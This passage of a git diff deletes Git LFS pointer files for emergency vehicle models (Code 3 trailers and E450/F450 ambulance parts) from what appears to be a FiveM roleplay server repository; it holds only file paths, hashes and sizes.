-oid sha256:f9f38ae6fc5662d4d42ab7f0fe3b81da2fbfcbd0d50f497fae0070eab7be15d3
-size 9393021
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.yft
deleted file mode 100644
index 38238f72b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e131c0aede88ab50e30abe90491cf44a24c971c56e3122217f59929ba88f3032
-size 2850147
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.ytd
deleted file mode 100644
index 6e7cf7c29..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:44e2fc30722d874b589901ae2d86f6e742f23047ce9a8dc38d91a5048bc50aed
-size 3850241
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.yft
deleted file mode 100644
index 3feac66e5..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:65bb45a16b6408485974557270ac5b85dbdb08cfdcb461603ea1c034e2c1b22e
-size 1289573
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.ytd
deleted file mode 100644
index 4db8a67d3..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6f2a454ace6989a031203f29527b274f73700dc4c79d5517d7308e1868ee7aad
-size 3952883
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2_hi.yft
deleted file mode 100644
index 30335f9d5..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer2_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1fcfe66e430ef8e02a858cee276c4b388f6abfda33e0a3f7240a9d3c7dce4ad5
-size 1289554
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer_hi.yft
deleted file mode 100644
index 63eca327b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3trailer_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:35f41109ad532d81fc758532c3309609d519725c0747dc6bfa20502c6b530eda
-size 2850169
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.yft
deleted file mode 100644
index d38f39849..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ba7eb517abf063ab01661a5027388edd0ec0f3c1b17a691b603837f50c70fa64
-size 9063668
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.ytd
deleted file mode 100644
index d466dc3e1..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:91d8d8241c458c471dd3f1fb3c19f4ddd5005fb296930a7ce62b6d9844e61497
-size 11119329
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo_hi.yft
deleted file mode 100644
index 1edc7da26..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/e450ambo/e450ambo_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:3b62e7731715b3f01481660b47d8a76d6123a67cb80d54eb4bbdea103d9e5f76
-size 9063600
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant1.yft
deleted file mode 100644
index f80fcdcc1..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2a76e4c64322b36b3b72ab2d9f3d5e2d95a136d9e37147675bdc0d84003bf9f2
-size 11110
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant2.yft
deleted file mode 100644
index 4cd74b683..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:27274a816d2e0eed70bdb56232a84c014f43e7d245684026e7f4898814564b4d
-size 5392
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant3.yft
deleted file mode 100644
index 458ebccb7..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_ant3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:808f81c66fa5f1c664191bc374387b492fc884f7785b57a6f908e54a1178699a
-size 14405
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen1.yft
deleted file mode 100644
index a8faf7fe6..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:31bad9826aaaaeb33354682ac2eb6cff5b0c1e4dc4a93d24b79d5afbe72becb1
-size 5405
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen2.yft
deleted file mode 100644
index 220406021..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f6c14a0db913029aed98e8c57ea61748876ce7daaf6042c2392cbffd9a0392b1
-size 5404
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen3.yft
deleted file mode 100644
index e20a24228..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_cen3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:95bc71d4a66b37ec445e115ec54f0eb83e8d7aa8cc717707488359e1a533ce0e
-size 5405
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell1.yft
deleted file mode 100644
index 924b45951..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:978fa01b481925490ca12b5a2004623a0c18f3c89f6e747d456be9eb2040ecce
-size 43087
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell2.yft
deleted file mode 100644
index 9d8eb72f6..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_dell2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:3f6de40d472a0733ad476cb6fb3dcdee8de4c6a003bc11494392cec23da7a72d
-size 43307
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_fsider.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_fsider.yft
deleted file mode 100644
index 03d5fc6f5..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_fsider.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:77cd8eb100bc36e97da3b4aafee1cdcd881d6402e7452e40cafb5b783d7e5d6b
-size 47567
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug2.yft
deleted file mode 100644
index ab6dc8d28..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d801ce6a247376de20b5f0989988877757c3b71f45368a69e55b2ef090a402d3
-size 27249
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug3.yft
deleted file mode 100644
index d65a7405c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:cab766a9e68dfd1cda482a91de3dc33f34f4cae8cb2e175a2fafba0d7819c081
-size 27231
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug4.yft
deleted file mode 100644
index f987c8f53..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug4.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:598ed158abbcceddb24bee8d0c8c4c28e19d3605aa0451895c2b602a24f4888c
-size 27242
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug5.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug5.yft
deleted file mode 100644
index 1dd516480..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug5.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d9e93aba118154306e0a1939ba7b71868927c4518a5f4a69c2cb067c145e2d90
-size 27225
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug6.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug6.yft
deleted file mode 100644
index 377487cd2..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_plug6.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:7ebfcf3b50e0ae789a93e9eadb121a91f3ca6331d9d428b05300d6e78382cdbf
-size 27242
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats1.yft
deleted file mode 100644
index a649e9e20..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1bdc45d0acc58cc57f7e38dc60d0d125bba54ad27b71ac4fd68b970454b52012
-size 53318
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats2.yft
deleted file mode 100644
index cc0f81a6d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:5c8b6301314c8ade90229662e29c4b79acb7281a1c44309289dba9bd10368f8a
-size 52925
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats3.yft
deleted file mode 100644
index e133a0542..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c94893ce9c714d4a0c303b51e6572e51109d352aabc796e467d8ddcf0318b154
-size 52960
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats4.yft
deleted file mode 100644
index c95f41d9a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats4.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:92c078ea027d870031be99080870a6423f42bbfd64ab30547f11ed020d0db2c2
-size 53174
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats5.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats5.yft
deleted file mode 100644
index 721a8a464..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats5.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:a2d38e8da325f647182b51f9f939a180437603c8a93b97b8e126eb27a6320628
-size 53357
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats6.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats6.yft
deleted file mode 100644
index a5c69f03a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats6.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:87627b2e2df86e540b1a75bbbd6638f3166b74a06d7b0f1a3b4ecc22b1f9f58c
-size 53020
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats7.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats7.yft
deleted file mode 100644
index 97982f99b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_seats7.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:b885637e78b276cfbfe06fe1ca1b2b42d1dc4fc013d12535be3cc44f203b1bd7
-size 53523
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_sp2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_sp2.yft
deleted file mode 100644
index 7dd7a8cea..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambo_sp2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:dcd4ec2793284bdf20868b588bfc0b2e49712177f709963f27ec9ad488ee8bed
-size 11180
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amboexst_1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amboexst_1.yft
deleted file mode 100644
index 5dfb00983..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amboexst_1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f5228e785658f0da204962d8f17cfba3700e5140c7769b02daaff5d75d207a4e
-size 148080
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_1.yft
deleted file mode 100644
index f9bfae981..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_1.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:831bd4368e91a4f2d099d1b190af06c07b413338086e603070ef3871b0cfaa4b
-size 26616
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_2.yft
deleted file mode 100644
index db32b5cfb..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:0ee0f949e63efb36169c4931abf0d2cbd2c96b777dcd8f22d0e429df4660d0eb
-size 28711
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_3.yft
deleted file mode 100644
index 4e054ae6d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:4f8ac0c38ddb41fe993b10cf2f6f4ac37ab9c49c3fbbd41bbd173fd5cc34725f
-size 52687
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_4.yft
deleted file mode 100644
index 0e9ffafbf..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_4.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:9035a8388aaf7472ec841315866e95154d39c88688322d64d310d387a50ad612
-size 26619
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_5.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_5.yft
deleted file mode 100644
index bf2a9a12a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_5.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:8da6e98b0ecda57e138256ee62f45bd66d31ea2dc76ac9abe57cb389a32840ae
-size 28710
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_6.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_6.yft
deleted file mode 100644
index 630795ef0..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_6.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:b9ab73e52b8a784483f9bc2b701bf8777e153faa88557436f105b5e2c9a99fea
-size 52697
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_7.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_7.yft
deleted file mode 100644
index 869dec503..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_7.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:a1bf50f202e8299ec5e02694a3ecf61b4a31b6ebc2c1d9914df7fe914ce1126d
-size 26622
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_8.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_8.yft
deleted file mode 100644
index 4fa7f3261..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_8.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:30a49df28561594ea05f5bb718304b8b56216f031f1e6acbf2a725c6549715e4
-size 28709
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_9.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_9.yft
deleted file mode 100644
index d9110dd1a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/ambosp_9.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:b361136a06ed8573380309b21756aec3145ecfdb65b74726a24d42187fafca6d
-size 52690
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_2.yft
deleted file mode 100644
index 99dc2c6bb..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ea255571a40cc6858715ae998d3477ca50190555b9d1d1ecaf9ed57c56d9e65f
-size 44978
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_3.yft
deleted file mode 100644
index 0f45ddafe..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f6e48f9505c95653111a11aded4c258330bb30d2c108b744b4714526577e3a48
-size 44972
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_4.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_4.yft
deleted file mode 100644
index d4d51cf17..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/amno_in_4.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6d42bfaa7c7622fa9b53c16621f57211ffa5f55be9d1084a63994c3d28f7a351
-size 44938
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo+hi.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo+hi.ytd
deleted file mode 100644
index a55cedfe7..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo+hi.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ed19672a0a5dd7e6ac0928ea3eb2bbdf69218ec762df55d3e71e6b68e52b37e3
-size 3077991
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.yft
deleted file mode 100644
index 62b792e45..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:cc4a89328a397ce800936506d7fd9fb4c6151f898292f80d97d5ed954675b41b
-size 9866240
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.ytd
deleted file mode 100644
index bffdb2b9f..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d32ff5a1a22a67f5d9ff12e5ad8c5517db04877de27592262046e0ce0f01ec87
-size 4400091
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b2.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b2.yft
deleted file mode 100644
index 3ece69088..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b2.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:32c75a8b79d9263e6d6c2204c107af9b4454718c9380298aeaf657328716c046
-size 262523
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b3.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b3.yft
deleted file mode 100644
index 6aa9ffe2f..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_b3.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:9b21e5bb72bfa00dc60e5e093a689b4a775341dff6b960a7447a50a2d54cf85c
-size 237607
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cfrontbumper.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cfrontbumper.yft
deleted file mode 100644
index c32b39eca..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cfrontbumper.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:620c399c7b13b4650e229555228e263f50a053ecad355f71c356503b8420decc
-size 196601
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cgrill.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cgrill.yft
deleted file mode 100644
index 2066d35f2..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_cgrill.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:a214718b5436c1ad86ae4c339c88c848e44195b4419fc1867bbab0b6a4b0ee1a
-size 311420
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_dashcam.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_dashcam.yft
deleted file mode 100644
index ed61c3794..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_dashcam.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:4a3f9f796be7c0ae04de216b0069fa03b0b592721ced39be728467ef0500b8b2
-size 27939
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_f550.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_f550.yft
deleted file mode 100644
index 095d143aa..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_f550.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6fa9cc47e2ad9be4d9ae2bc2ab972bf5e00b222d25c2e49fa1edda9596225be1
-size 42880
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_hi.yft
deleted file mode 100644
index 0b7398991..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:4c14d9a14ba79da827b3969e038f431d2ebf7bcc1cea9356d3b51d140c61ec69
-size 9866175
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn1.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/f450ambo/f450ambo_horn1.yft
deleted file mode 100644
index 71ec78a4e..000000000
